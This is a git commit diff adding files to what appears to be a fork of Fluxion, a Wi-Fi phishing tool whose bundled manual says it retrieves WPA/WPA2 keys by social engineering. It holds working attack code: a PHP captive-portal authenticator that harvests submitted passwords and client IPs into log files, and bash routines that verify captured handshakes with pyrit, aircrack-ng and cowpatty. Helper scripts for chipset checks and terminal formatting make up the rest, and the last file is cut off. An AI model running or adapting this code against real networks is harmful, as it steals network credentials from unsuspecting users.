Push latest files
This commit is contained in:
deltaxflux
parent
911858780a
commit
ffd7c1e9bb
|
|
@ -68,8 +68,6 @@ dist/
|
|||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
|
|
|
|||
|
|
@ -0,0 +1,67 @@
|
|||
<?php
|
||||
error_reporting(0);
|
||||
|
||||
/*
|
||||
The following represents the authenticator result.
|
||||
By default, we assume the password is incorrect.
|
||||
|
||||
Notice: This variable is used by files including
|
||||
this script, and by the authenticator itself below.
|
||||
*/
|
||||
$candidate_code = 0;
|
||||
|
||||
// Receive get & post data and store to variables
|
||||
$candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw");
|
||||
$matches = array_intersect_key($_POST, array_flip($candidateKeyFields));
|
||||
|
||||
// Retrieve just the first matched value
|
||||
$key = reset($matches);
|
||||
|
||||
// No password was given
|
||||
if(empty($key)) return;
|
||||
|
||||
// Update hit attempts
|
||||
$page_hits_log_path = ("$FLUXIONWorkspacePath/hit.txt");
|
||||
$page_hits = file($page_hits_log_path)[0] + 1;
|
||||
$page_hits_log = fopen($page_hits_log_path, "w");
|
||||
fputs($page_hits_log, $page_hits);
|
||||
fclose($page_hits_log);
|
||||
|
||||
// Prepare candidate and attempt passwords files' locations.
|
||||
$attempt_log_path = "$FLUXIONWorkspacePath/pwdattempt.txt";
|
||||
$candidate_path = "$FLUXIONWorkspacePath/candidate.txt";
|
||||
|
||||
$attempt_log = fopen($attempt_log_path, "w");
|
||||
fwrite($attempt_log, $key);
|
||||
fwrite($attempt_log, "\n");
|
||||
fclose($attempt_log);
|
||||
|
||||
// Write candidate key to file to prep for checking.
|
||||
$candidate = fopen($candidate_path, "w");
|
||||
fwrite($candidate, $key);
|
||||
fwrite($candidate, "\n");
|
||||
fclose($candidate);
|
||||
|
||||
$candidate_result_path = "$FLUXIONWorkspacePath/candidate_result.txt";
|
||||
|
||||
// Define variables
|
||||
$client_ip_path = "/tmp/fluxspace/ip_hits";
|
||||
$client_ip = $_SERVER['REMOTE_ADDR'];
|
||||
|
||||
// Write ip to file
|
||||
$c = fopen($client_ip_path, "w");
|
||||
fwrite($c,$client_ip);
|
||||
fclose($c);
|
||||
|
||||
// Create candidate result file to trigger checking.
|
||||
$candidate_result = fopen($candidate_result_path, "w");
|
||||
fwrite($candidate_result,"\n");
|
||||
fclose($candidate_result);
|
||||
|
||||
do {
|
||||
sleep(1);
|
||||
$candidate_code = trim(file_get_contents($candidate_result_path));
|
||||
} while (!ctype_digit($candidate_code));
|
||||
|
||||
// Reset file by deleting it.
|
||||
unlink($candidate_result_path);
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
<?php
|
||||
require_once("authenticator.php");
|
||||
|
||||
switch ($candidate_code) {
|
||||
# case "1": header("Location:error.html"); break;
|
||||
case "2": header("Location:final.html"); break;
|
||||
default: header("Location:error.html"); break;
|
||||
}
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
<html><script type="text/javascript">window["_gaUserPrefs"] = { ioo : function() { return true; } }</script><head><title>Success</title><style></style></head><body>Success
|
||||
</body></html>
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
<?php
|
||||
header(
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
<?php
|
||||
header("HTTP/1.0 204 No Content");
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
require_once("authenticator.php");
|
||||
|
||||
switch ($candidate_code) {
|
||||
# case "1": echo ""; break;
|
||||
case "2": echo "authenticated"; break;
|
||||
# default: echo ""; break;
|
||||
default: break;
|
||||
}
|
||||
|
|
@ -21,8 +21,8 @@ readonly FLUXIONPreferencesFile="$FLUXIONPath/preferences/preferences.conf"
|
|||
readonly FLUXIONNoiseFloor=-90
|
||||
readonly FLUXIONNoiseCeiling=-60
|
||||
|
||||
readonly FLUXIONVersion=4
|
||||
readonly FLUXIONRevision=16
|
||||
readonly FLUXIONVersion=1
|
||||
readonly FLUXIONRevision=0
|
||||
|
||||
# Declare window ration bigger = smaller windows
|
||||
FLUXIONWindowRatio=4
|
||||
|
|
|
|||
|
|
@ -0,0 +1,30 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$ArrayUtilsVersion" ]; then return 0; fi
|
||||
readonly ArrayUtilsVersion="1.0"
|
||||
|
||||
# Due to the fact we're passing arrays via indirection,
|
||||
# we've got to mangle variable names used within array
|
||||
# functions to prevent accidentally having a naming
|
||||
# conflic with an array, for example, an array with the
|
||||
# "choice" identifier in the input_choice function.
|
||||
# Eventually, input_choice's "choice" variable will
|
||||
# be indirectly expanded rather than the choice array.
|
||||
function array_contains() {
|
||||
local __array_contains__item
|
||||
|
||||
# An efficient way to pass arrays around in bash
|
||||
# is to perform indirect expansion by using the
|
||||
# expansion symbol, $, along with the indirection
|
||||
# symbol, !, in curly braces, ${! }, resulting in:
|
||||
# function call: array_contains array[@] "text"
|
||||
# funct params: $1 = "array[@]" $2 = "text"
|
||||
# indirect exp: ${!1} => ${array[@]} (replaced!)
|
||||
for __array_contains__item in "${!1}"; do
|
||||
[[ "$__array_contains__item" == "$2" ]] && return 0
|
||||
done
|
||||
|
||||
return 1 # Not found
|
||||
}
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,57 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
# ChipsetUtils: check if chipset is supported
|
||||
check_chipset() {
|
||||
if [ "$1" == "" ];then printf "\033[31mInvalid input, chipset appears invalid\033[0m\n"; exit 1;fi
|
||||
|
||||
# =================== < CONFIG > ===================
|
||||
if [ -d "misc" ];then
|
||||
readonly local CHIPSET_LIST="misc/devices.xml" # chipset file list
|
||||
elif [ -d "../misc" ];then
|
||||
readonly local CHIPSET_LIST="../misc/devices.xml" # chipset file list
|
||||
else
|
||||
echo -e "\033[31Can't find required ressources\033[0m"
|
||||
fi
|
||||
local SUPPORT_AP="" # check if chipset support ap mode
|
||||
local SUPPORT_MO="" # check if chipset support monitor mode
|
||||
# =================== < CONFIG > ===================
|
||||
|
||||
if [ ! -f $CHIPSET_LIST ];then
|
||||
echo "Can't open file"
|
||||
fi
|
||||
|
||||
local line=$(cat $CHIPSET_LIST | grep -n $1 | cut -d ":" -f1 | head -n 1) # get current position of chipset
|
||||
local length=$(wc -l $CHIPSET_LIST | awk '{print $1}')
|
||||
if [ "$line" == "" ];then printf "\033[31mChipset is not in list\033[0m\n";exit 1;fi # Catch if chipset is not present
|
||||
|
||||
local cout=$line
|
||||
local i=$cout
|
||||
while true;do
|
||||
local data=$(cat $CHIPSET_LIST | sed -n -e "${cout}p")
|
||||
local iden=$(echo $data | cut -d ">" -f1 | cut -d "<" -f2)
|
||||
local row=$(echo $data | cut -d ">" -f2 | cut -d "<" -f1)
|
||||
|
||||
if [ "$iden" == "AP" ];then
|
||||
case $row in
|
||||
y) echo -e "\033[32mChipset support ap mode\033[0m";SUPPORT_AP=true;;
|
||||
n) echo -e "\033[31mChipset doesn't support ap mode\033[0m";SUPPORT_AP=false;;
|
||||
?) echo -e "\033[33mNo information if chipset support ap mode\033[0m";SUPPORT_AP=unknown;;
|
||||
esac
|
||||
fi
|
||||
|
||||
if [ "$iden" == "Monitor" ];then
|
||||
case $row in
|
||||
y) echo -e "\033[32mChipset support monitor mode\033[0m"; SUPPORT_MO=true;;
|
||||
n) echo -e "\033[31mChipset doesn't support monitor mode\033[0m";SUPPORT_MO=false;;
|
||||
?) echo -e "\033[33mNo information if chipset support monitor mode\033[0m";SUPPORT_MO=unknown;
|
||||
esac
|
||||
fi
|
||||
|
||||
if [ "$SUPPORT_MO" == false -a "$SUPPORT_MO" == true ] && [ "$SUPPORT_AP4" == false -a "$SUPPORT_AP" == true ]; then break; fi
|
||||
|
||||
cout=$(echo $(($cout+1)))
|
||||
if [ $cout -gt $length ] || [ "$cout" -eq $(echo $(($i+10))) ];then echo -e "\033[33mDon't reseve all required information\033[0m";break ;fi # Catch out of range
|
||||
done
|
||||
|
||||
if [ "$SUPPORT_AP" == true ] && [ "$SUPPORT_MO" == true ]; then return 0; else return 1;fi
|
||||
}
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$ColorUtilsVersion" ]; then return 0; fi
|
||||
readonly ColorUtilsVersion="1.0"
|
||||
|
||||
################################# < Shell Color Codes > ################################
|
||||
|
||||
# Regular Text
|
||||
readonly CRed="\e[0;31m"
|
||||
readonly CGrn="\e[0;32m"
|
||||
readonly CYel="\e[0;33m"
|
||||
readonly CBlu="\e[0;34m"
|
||||
readonly CPrp="\e[0;35m"
|
||||
readonly CCyn="\e[0;36m"
|
||||
readonly CGry="\e[0;37m"
|
||||
readonly CWht="\e[0;37m"
|
||||
readonly CClr="\e[0m"
|
||||
|
||||
# [S] - Strong text (bold)
|
||||
readonly CSRed="\e[1;31m"
|
||||
readonly CSGrn="\e[1;32m"
|
||||
readonly CSYel="\e[1;33m"
|
||||
readonly CSBlu="\e[1;34m"
|
||||
readonly CSPrp="\e[1;35m"
|
||||
readonly CSCyn="\e[1;36m"
|
||||
readonly CSGry="\e[1;37m"
|
||||
readonly CSWht="\e[1;37m"
|
||||
|
||||
# [D] - Dark text
|
||||
readonly CDRed="\e[2;31m"
|
||||
readonly CDGrn="\e[2;32m"
|
||||
readonly CDYel="\e[2;33m"
|
||||
readonly CDBlu="\e[2;34m"
|
||||
readonly CDPrp="\e[2;35m"
|
||||
readonly CDCyn="\e[2;36m"
|
||||
readonly CDGry="\e[2;37m"
|
||||
readonly CDWht="\e[2;37m"
|
||||
|
||||
# [I] Italicized text
|
||||
readonly CIRed="\e[3;31m"
|
||||
readonly CIGrn="\e[3;32m"
|
||||
readonly CIYel="\e[3;33m"
|
||||
readonly CIBlu="\e[3;34m"
|
||||
readonly CIPrp="\e[3;35m"
|
||||
readonly CICyn="\e[3;36m"
|
||||
readonly CIGry="\e[3;37m"
|
||||
readonly CIWht="\e[3;37m"
|
||||
|
||||
# [U] - Underlined text
|
||||
readonly CURed="\e[4;31m"
|
||||
readonly CUGrn="\e[4;32m"
|
||||
readonly CUYel="\e[4;33m"
|
||||
readonly CUBlu="\e[4;34m"
|
||||
readonly CUPrp="\e[4;35m"
|
||||
readonly CUCyn="\e[4;36m"
|
||||
readonly CUGry="\e[4;37m"
|
||||
readonly CUWht="\e[4;37m"
|
||||
|
||||
# [B] - Blinking text
|
||||
readonly CBRed="\e[5;31m"
|
||||
readonly CBGrn="\e[5;32m"
|
||||
readonly CBYel="\e[5;33m"
|
||||
readonly CBBlu="\e[5;34m"
|
||||
readonly CBPrp="\e[5;35m"
|
||||
readonly CBCyn="\e[5;36m"
|
||||
readonly CBGry="\e[5;37m"
|
||||
readonly CBWht="\e[5;37m"
|
||||
|
||||
# FLUXSCRIPT END
|
||||
|
|
@ -0,0 +1,193 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$FormatUtilsVersion" ]; then return 0; fi
|
||||
readonly FormatUtilsVersion="1.0"
|
||||
|
||||
FormatTabLength=8
|
||||
FormatValidSpecifiers='%([+-]?([0-9]+|\*)?(\.([0-9]+|\*))?)?[bqdiouxXfeEgGcsnaA]'
|
||||
|
||||
# This should be relocated (here temporarily)
|
||||
tabs -$FormatTabLength # Set tab width to var
|
||||
|
||||
# This function strips (some) invisible characters.
|
||||
# It only strips those needed by fluxion, currently.
|
||||
# Parameters: $1 - format
|
||||
function format_strip_invisibles() {
|
||||
# This function currently only strips the following:
|
||||
# Color escape sequences, & control characters
|
||||
FormatStripInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|(t|n))//g')
|
||||
}
|
||||
|
||||
# This function replaces all invisible characters
|
||||
# with a specifier of their corresponding length.
|
||||
# Parameters: $1 - format
|
||||
function format_expand_invisibles() {
|
||||
FormatExpandInvisibles=$(echo "$1" | sed -r 's/\\(e\[([0-9]*;?[0-9]+)m|n)/%0s/g; s/\\t/%'"$FormatTabLength"'s/g')
|
||||
}
|
||||
|
||||
# This function lists all operators in format.
|
||||
# Parameters: $1 - format
|
||||
function format_list_specifiers() {
|
||||
# Special specifier also included (with length value as '*').
|
||||
FormatListSpecifiers=($(echo "$1" | grep -oP "$FormatValidSpecifiers"))
|
||||
}
|
||||
|
||||
# This function calculates the dynamic specifier count in format.
|
||||
# Parameters: $1 - format [$2 - specifier array]
|
||||
function format_calculate_dynamics_count() {
|
||||
local __format_calculate_dynamics_count__specifiers=("${!2}")
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
format_list_specifiers "$1"
|
||||
__format_calculate_dynamics_count__specifiers=("${FormatListSpecifiers[@]}")
|
||||
fi
|
||||
|
||||
FormatCalculateDynamicsCount=0
|
||||
local __format_calculate_dynamics_count__specifier
|
||||
for __format_calculate_dynamics_count__specifier in "${__format_calculate_dynamics_count__specifiers[@]}"; do
|
||||
if echo "$__format_calculate_dynamics_count__specifier" | grep '\*' >/dev/null 2>&1; then ((FormatCalculateDynamicsCount++))
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
# This function calculates total length of statics in format.
|
||||
# Statics are all specifiers in format with a fixed size.
|
||||
# Parameters: $1 - format [$2 - specifier array]
|
||||
function format_calculate_statics_length() {
|
||||
local __format_calculate_statics_length__specifiers=("${!2}")
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
echo "format_calculate_statics_length missing \$2"
|
||||
format_list_specifiers "$1"
|
||||
__format_calculate_statics_length__specifiers=("${FormatListSpecifiers[@]}")
|
||||
fi
|
||||
FormatCalculateStaticsLength=$(echo "${__format_calculate_statics_length__specifiers[@]}" | sed -r 's/\.[0-9]+s/s/g' | grep -oP '\d+' | awk 'BEGIN {s=0} {s+=$0} END {print s}')
|
||||
}
|
||||
|
||||
# This function calculates total length of literals in format.
|
||||
# Literals are all characters in format printed literally.
|
||||
# Parameters: $1 - format [$2 - processed format [$3 - specifier array]]
|
||||
function format_calculate_literals_length() {
|
||||
local __format_calculate_literals_length__normalizedFormat="$(echo "$2" | sed -r 's/%%|\*\*/X/g')"
|
||||
local __format_calculate_literals_length__specifiers=("${!3}")
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
echo "format_calculate_literals_length missing \$2"
|
||||
format_strip_invisibles "$1"
|
||||
__format_calculate_literals_length__normalizedFormat="$(echo "$FormatStripInvisibles" | sed -r 's/%%|\*\*/X/g')"
|
||||
fi
|
||||
|
||||
if [ ! "$3" ]; then
|
||||
echo "format_calculate_literals_length missing \$3"
|
||||
format_list_specifiers "$1"
|
||||
__format_calculate_literals_length__specifiers=("${FormatListSpecifiers[@]}")
|
||||
fi
|
||||
|
||||
FormatCalculateLiteralsLength=$((${#__format_calculate_literals_length__normalizedFormat} - ($(echo "${__format_calculate_literals_length__specifiers[@]}" | wc -m) - ${#__format_calculate_literals_length__specifiers[@]})))
|
||||
}
|
||||
|
||||
# This function calculates the total length of statics & literals in format.
|
||||
# Parameters: $1 - format [$2 - statics length [$3 - literals length]]
|
||||
function format_calculate_length() {
|
||||
local __format_calculate_length__staticsLength=$2
|
||||
local __format_calculate_length__literalsLength=$3
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
#echo "format_calculate_length missing \$2"
|
||||
format_expand_invisibles "$1"
|
||||
format_list_specifiers "$FormatExpandInvisibles"
|
||||
format_calculate_statics_length X FormatListSpecifiers[@]
|
||||
__format_calculate_length__staticsLength=$FormatCalculateStaticsLength
|
||||
fi
|
||||
|
||||
if [ ! "$3" ]; then
|
||||
if [ "$2" ]; then
|
||||
format_expand_invisibles "$1"
|
||||
format_list_specifiers "$FormatExpandInvisibles"
|
||||
fi
|
||||
#echo "format_calculate_length missing \$3"
|
||||
format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@]
|
||||
__format_calculate_length__literalsLength=$FormatCalculateLiteralsLength
|
||||
fi
|
||||
|
||||
FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength))
|
||||
}
|
||||
|
||||
# This function calculates total length of dynamics in format.
|
||||
# Dynamics are all asterisk-containing specifiers in format.
|
||||
# Parameters: $1 - format [$2 - format length ]
|
||||
function format_calculate_dynamics_length() {
|
||||
local __format_calculate_dynamics_length__formatLength=$2
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
echo "format_calculate_dynamics_length missing \$2"
|
||||
format_calculate_length "$1"
|
||||
__format_calculate_dynamics_length__formatLength=$FormatCalculateLength
|
||||
fi
|
||||
|
||||
FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength))
|
||||
}
|
||||
|
||||
# This function calculates the size of individual dynamics in format.
|
||||
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
|
||||
function format_calculate_autosize_length() {
|
||||
local __format_calculate_autosize_length__dynamicsLength=$2
|
||||
local __format_calculate_autosize_length__dynamicsCount=$3
|
||||
|
||||
if [ ! "$2" ]; then
|
||||
format_expand_invisibles "$1"
|
||||
format_list_specifiers "$FormatExpandInvisibles"
|
||||
format_calculate_statics_length X FormatListSpecifiers[@]
|
||||
format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@]
|
||||
format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength"
|
||||
format_calculate_dynamics_length X "$FormatCalculateLength"
|
||||
__format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength
|
||||
fi
|
||||
|
||||
if [ ! "$3" ]; then
|
||||
if [ "$2" ]; then format_list_specifiers "$1"
|
||||
fi
|
||||
format_calculate_dynamics_count X FormatListSpecifiers[@]
|
||||
__format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount
|
||||
fi
|
||||
|
||||
if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \
|
||||
$__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount))
|
||||
else FormatCalculateAutosizeLength=0
|
||||
fi
|
||||
}
|
||||
|
||||
# This function replaces dynamics' asterisks with their length, in format.
|
||||
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
|
||||
# Warning: Strings containing '\n' result in undefined behavior (not supported).
|
||||
# Warning: Strings containing [0-9]+.* result in undefined behavior.
|
||||
# Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*".
|
||||
function format_apply_autosize() {
|
||||
format_calculate_autosize_length "${@}" # Pass all arguments on.
|
||||
FormatApplyAutosize=$1
|
||||
let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount
|
||||
if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right.
|
||||
let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1
|
||||
FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount)
|
||||
fi
|
||||
FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g')
|
||||
}
|
||||
|
||||
# This function centers literal text.
|
||||
# Parameters: $1 - literals
|
||||
function format_center_literals() {
|
||||
format_strip_invisibles "$1"
|
||||
local __format_center_literals__text_length=${#FormatStripInvisibles}
|
||||
format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s"
|
||||
FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "")
|
||||
}
|
||||
|
||||
# This function centers statics in format.
|
||||
# Parameters: $1 - format
|
||||
function format_center_dynamic() {
|
||||
format_calculate_length "$1"
|
||||
format_calculate_dynamics_length X $FormatCalculateLength
|
||||
format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2
|
||||
# Temporary, I'll find a better solution later (too tired).
|
||||
FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "")
|
||||
}
|
||||
|
|
@ -0,0 +1,95 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$HashUtilsVersion" ]; then return 0; fi
|
||||
readonly HashUtilsVersion="1.0"
|
||||
|
||||
HashOutputDevice="/dev/stdout"
|
||||
|
||||
function hash_check_handshake() {
|
||||
local -r handshakeVerifier=$1
|
||||
local -r handshakePath=$2
|
||||
local -r handshakeAPSSID=$3
|
||||
local -r handshakeAPMAC=$4
|
||||
|
||||
echo "Verifier Parameters: " > $HashOutputDevice
|
||||
echo " Verifier: $handshakeVerifier" > $HashOutputDevice
|
||||
echo "Hash Path: $handshakePath" > $HashOutputDevice
|
||||
echo "Hash SSID: \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||
echo " Hash MAC: $handshakeAPMAC" > $HashOutputDevice
|
||||
|
||||
local analysis # Since it's being used in all relevant instances.
|
||||
|
||||
case "$handshakeVerifier" in
|
||||
"pyrit")
|
||||
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: pyrit seems to be broken!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
|
||||
|
||||
if [ "$hashMeta" ]; then
|
||||
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
|
||||
local hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_(SHA[0-9]+_AES|MD5_RC4)/{ print \$0 }")
|
||||
else
|
||||
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice
|
||||
fi
|
||||
;;
|
||||
"aircrack-ng")
|
||||
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
|
||||
;;
|
||||
"cowpatty")
|
||||
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice)
|
||||
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
|
||||
echo "Error: cowpatty (aircrack-ng) seems to be broken!" > $HashOutputDevice
|
||||
return 1
|
||||
fi
|
||||
|
||||
if echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -qF "$handshakeAPSSID"; then
|
||||
local hashData=$(cowpatty -cr "$handshakePath")
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
echo "Invalid verifier, quitting!" > $HashOutputDevice
|
||||
return 1
|
||||
;;
|
||||
esac
|
||||
|
||||
if [ -z "$hashData" ]; then
|
||||
echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!"
|
||||
return 1
|
||||
fi
|
||||
|
||||
case "$handshakeVerifier" in
|
||||
"pyrit")
|
||||
if echo "$hashData" | grep -qF "good"; then
|
||||
local -r hashResult=1
|
||||
fi ;;
|
||||
|
||||
"aircrack-ng")
|
||||
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
|
||||
local -r hashResult=1
|
||||
fi ;;
|
||||
|
||||
"cowpatty")
|
||||
if echo "$hashData" | grep -q "Collected all necessary data to mount crack against WPA2/PSK passphrase."; then
|
||||
local -r hashResult=1
|
||||
fi ;;
|
||||
esac
|
||||
|
||||
if [ -z "$hashResult" ]; then
|
||||
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||
HASHCheckHandshake="invalid"
|
||||
return 1
|
||||
else
|
||||
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
|
||||
HASHCheckHandshake="valid"
|
||||
fi
|
||||
}
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
fluxion_help(){
|
||||
echo " FLUXION(1) User Manuals FLUXION(1)
|
||||
|
||||
|
||||
|
||||
NAME
|
||||
fluxion - Fluxion is a security auditing and social-engineering
|
||||
research tool
|
||||
|
||||
SYNOPSIS
|
||||
fluxion [-debug] [-l language ] attack ...
|
||||
|
||||
DESCRIPTION
|
||||
fluxion is a security auditing and social-engineering research tool.
|
||||
It is a remake of linset by vk496 with (hopefully) less bugs and more
|
||||
functionality. The script attempts to retrieve the WPA/WPA2 key from a
|
||||
target access point by means of a social engineering (phising) attack.
|
||||
It's compatible with the latest release of Kali (rolling). Fluxion's
|
||||
attacks' setup is mostly manual, but experimental auto-mode handles
|
||||
some of the attacks' setup parameters.
|
||||
|
||||
OPTIONS
|
||||
-v Print version number.
|
||||
|
||||
--help Print help page and exit with 0.
|
||||
|
||||
-m Run fluxion in manual mode instead of auto mode.
|
||||
|
||||
-k Kill wireless connection if it is connected.
|
||||
|
||||
-d Run fluxion in debug mode.
|
||||
|
||||
-x Try to run fluxion with xterm terminals instead of tmux.
|
||||
|
||||
-r Reload driver.
|
||||
|
||||
-l <language>
|
||||
Define a certain language.
|
||||
|
||||
-e <essid>
|
||||
Select the target network based on the ESSID.
|
||||
|
||||
-c <channel>
|
||||
Indicate the channel(s) to listen to.
|
||||
|
||||
-a <attack>
|
||||
Define a certain attack.
|
||||
|
||||
--ratio <ratio>
|
||||
Define the windows size. Bigger ratio -> smaller window size.
|
||||
Default is 4.
|
||||
|
||||
-b <bssid>
|
||||
Select the target network based on the access point MAC address.
|
||||
|
||||
-j <jamming interface>
|
||||
Define a certain jamming interface.
|
||||
|
||||
-a <access point interface>
|
||||
Define a certain access point interface.
|
||||
|
||||
FILES
|
||||
/tmp/fluxspace/
|
||||
The system wide tmp directory.
|
||||
$FLUXION/attacks/
|
||||
Folder where handshakes and passwords are stored in.
|
||||
|
||||
ENVIRONMENT
|
||||
FLUXIONAuto
|
||||
Automatically run fluxion in auto mode if exported.
|
||||
|
||||
FLUXIONDebug
|
||||
Automatically run fluxion in debug mode if exported.
|
||||
|
||||
FLUXIONWIKillProcesses
|
||||
Automatically kill any interfering process(es).
|
||||
|
||||
DIAGNOSTICS
|
||||
Please checkout the other log files or use the debug mode.
|
||||
|
||||
BUGS
|
||||
Please report any bugs at: https://github.com/FluxionNetwork/flux-
|
||||
ion/issues
|
||||
|
||||
AUTHOR
|
||||
Cyberfee, l3op, dlinkproto, vk496, MPX4132
|
||||
|
||||
SEE ALSO
|
||||
aircrack-ng(8),
|
||||
|
||||
|
||||
Linux MARCH 2018 FLUXION(1)"
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,149 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
if [ "$IOUtilsVersion" ]; then return 0; fi
|
||||
readonly IOUtilsVersion="1.0"
|
||||
|
||||
if [ ! "$FLUXIONLibPath" ]; then return 1; fi
|
||||
|
||||
IOUtilsHeader="[x] ================================ [x]"
|
||||
IOUtilsQueryMark="[-] "
|
||||
IOUtilsPrompt="[$USER@$HOSTNAME]> "
|
||||
|
||||
if [ ! "$ArrayUtilsVersion" ]; then
|
||||
source "$FLUXIONLibPath/ArrayUtils.sh"
|
||||
fi
|
||||
|
||||
io_input_choice() {
|
||||
local __io_input_choice__choice
|
||||
until [ ! -z "$__io_input_choice__choice" ]; do
|
||||
echo -ne "$IOUtilsPrompt"
|
||||
|
||||
local __io_input_choice__input
|
||||
read __io_input_choice__input
|
||||
|
||||
local __io_input_choice__choices
|
||||
for __io_input_choice__choices in ${@}; do
|
||||
array_contains $__io_input_choice__choices "$__io_input_choice__input"
|
||||
if [ $? -eq 0 ]; then
|
||||
__io_input_choice__choice="$__io_input_choice__input"
|
||||
break
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
IOInputChoice=$__io_input_choice__choice
|
||||
}
|
||||
|
||||
io_dynamic_output() {
|
||||
eval 'echo -ne "'${@}'"'
|
||||
}
|
||||
|
||||
io_input_enumerated_choice() {
|
||||
local __io_input_enumerated_choice__choices=("${!1}")
|
||||
local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]}))
|
||||
io_input_choice __io_input_enumerated_choice__indexes[@]
|
||||
IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]}
|
||||
}
|
||||
|
||||
# This function outputs formatted lines of fields.
|
||||
# The function takes an output file (like stdout),
|
||||
# a "printf format string," and a variable number
|
||||
# of indirect-expansion passed arrays (reference).
|
||||
# NOTICE: At least the first array must be passed!
|
||||
# Example: /dev/stdout "%s is %s." name[@] mood[@]
|
||||
io_output_format_fields() {
|
||||
# Determine the amount of arguments passed.
|
||||
local __io_output_format_fields__argument_count=${#@}
|
||||
|
||||
# Load locally by indirect expansion, ${! ... },
|
||||
# and mangle the variable number argument arrays.
|
||||
local __io_output_format_fields__i
|
||||
for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do
|
||||
eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")"
|
||||
done
|
||||
|
||||
# Determine the amount of records/lines to print.
|
||||
# Notice at least the first array must be passed.
|
||||
